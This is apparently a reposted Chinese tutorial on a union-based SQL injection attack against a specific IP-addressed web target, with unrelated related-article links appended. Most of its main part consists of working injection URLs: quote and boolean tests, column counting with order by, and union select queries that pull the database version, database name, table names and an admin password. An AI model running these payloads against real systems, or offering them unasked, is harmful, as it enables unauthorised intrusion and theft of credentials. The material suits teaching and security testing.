一、检测注入点

二、判断是否存在 SQL 注入可能

三、数据库爆破

四、字段爆破

五、数据库表爆破

六、用户名、密码爆破

七、总结

一、检测注入点

首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。

这相当于查询语句:

select * from [表名] where id = '';

二、判断是否存在 SQL 注入可能

在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为:

select * from 表名 where id =1';

SQL 语句未正确结束,因此返回了一个错误页面,如图所示:

继续测试 and 1=1 和 and 1=2:

http://120.203.13.75:6815/?id=1 and 1=1

这相当于 SQL 查询语句:

select * from 表名 where id =1 and 1=1; 

SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:

http://120.203.13.75:6815/?id=1 and 1=2 

这相当于 SQL 查询语句:

select select * from 表名 where id =1 and 1=2;

SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:

说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

三、数据库爆破

现在要判断数据库类型以及版本,构造语句如下:

http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。

四、字段爆破

进一步猜测数据注入位置:

http://120.203.13.75:6815/?id=1 order by 10

这相当于 SQL 查询语句:

select * from [表名] where id =1 order by 10;

返回错误,说明字段小于 10:

http://120.203.13.75:6815/?id=1 order by 2

这相当于SQL查询语句:

select * from [表名] where id =1 order by 2;

返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。

五、数据库表爆破

确定字段之后,现在要构造联合查询语句 (union select),语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2 

可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。

查询数据库版本:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() 

得到结果为版本号 5.5.53,如图所示:

六、用户名、密码爆破

现在把 2 替换掉,先查询数据库名称,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database() 

浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:

用同样的手法查询表名,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' 

浏览器返回 admin,说明表名为 admin,如图所示:

再用同样的手法猜测密码和用户名字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

返回失败,说明字段名称不是 pwd。

重新猜测密码字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin

返回成功,说明密码字段名称为 password,且登录密码为 hellohack。

七、总结

要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。

基本步骤:

    • 找到注入点;
    • 判断当前表的字段;
    • 用联合语句查看哪几位是有效位;
    • 查看当前数据库中有哪些表;
    • 查看表中有哪些属性;
    • 查看表中具体的数据信息。

转自:https://blog.csdn.net/carol980206/article/details/87905304

SQL 注入攻击案例的更多相关文章

  1. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  2. 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...

  3. ASP.NET中的SQL注入攻击与防护

    什么是SQL注入攻击? 它是在执行SQL查询的时候,由于接收了用户的非法参数从而导致,所执行的SQL语义与业务逻辑原本所要查询的语义不相符,从而实现的攻击. 例如我们经常使用的用户登录,通常会出现这样 ...

  4. Java Filter防止sql注入攻击

    原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQ ...

  5. Java学习笔记47(JDBC、SQL注入攻击原理以及解决)

    JDBC:java的数据库连接 JDBC本质是一套API,由开发公司定义的类和接口 这里使用mysql驱动,是一套类库,实现了接口 驱动程序类库,实现接口重写方法,由驱动程序操作数据库 JDBC操作步 ...

  6. 【数据库】SQL注入攻击

    背景: 机房收费系统验收的时候,师父提到SQL注入攻击.自己以前看过类似的博客大概知道一些这方面的事情,于是自己动手查了查. 定义: 所谓SQL注入,通过SQL命令插入到Web表单提交或者输入域名或页 ...

  7. JDBC基础:JDBC快速入门,JDBC工具类,SQL注入攻击,JDBC管理事务

    JDBC基础 重难点梳理 一.JDBC快速入门 1.jdbc的概念 JDBC(Java DataBase Connectivity:java数据库连接)是一种用于执行SQL语句的Java API,可以 ...

  8. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

  9. Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解

    在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...

随机推荐

  1. layer.msg 弹出不同的效果的样式

    icon 1到6的不同效果 layer.msg(,time:, shift: });//一个勾 layer.msg(,time:, shift: });//一个叉 layer.msg(,time:, ...

  2. git如何删除远程tag?

    答: 分为两步: 1. 删除本地tag git tag -d tag-name 2. 删除远程tag git push origin :refs/tags/tag-name

  3. Mac 终端显示git分支

    1 进入你的home目录 cd ~ 2 编辑.bashrc文件 vi .bashrc 3 将下面的代码加入到文件的最后处 function git_branch { branch="`git ...

  4. vue 日历组件

    Github 上很多点击弹出日历选择某个时间的组件,却没有找到单纯展示日历并且能点击获取时间的组件 npm i vue-calendar-component --save cnpm i vue-cal ...

  5. How to Plan and Configure YARN and MapReduce 2 in HDP 2.0

    As part of HDP 2.0 Beta, YARN takes the resource management capabilities that were in MapReduce and ...

  6. mysql quick query row count using sql

    1. command show table status like '{table-name}'; 2. sample mysql> use inventory; Database change ...

  7. DB2中ALTER TABLE的使用

    今天在看DB2存储过程的时候发现了如下语句能够清空表: ... SET EX_SQL='ALTER TABLE TEST_TABLE ACTIVATE NOT LOGGED INITIALLY WIT ...

  8. ASP.NET MVC路由配置详解

    命名参数规范+匿名对象 routes.MapRoute( name: "Default", url: "{controller}/{action}/{id}", ...

  9. AI - H2O - 安装与运行

    安装的要求 H2O的安装对操作系统.编程语言和浏览器有具体的要求. 详情请查看官方信息 下载H2O Downloading & Installing H2O Download 示例 - 在Ce ...

  10. Django:bootstrap table自定义查询实现

    参考:https://jalena.bcsytv.com/archives/tag/bootstrap 背景: bootstrap table在客户端分页方式下,自带有简易的搜索功能,但是功能太单一, ...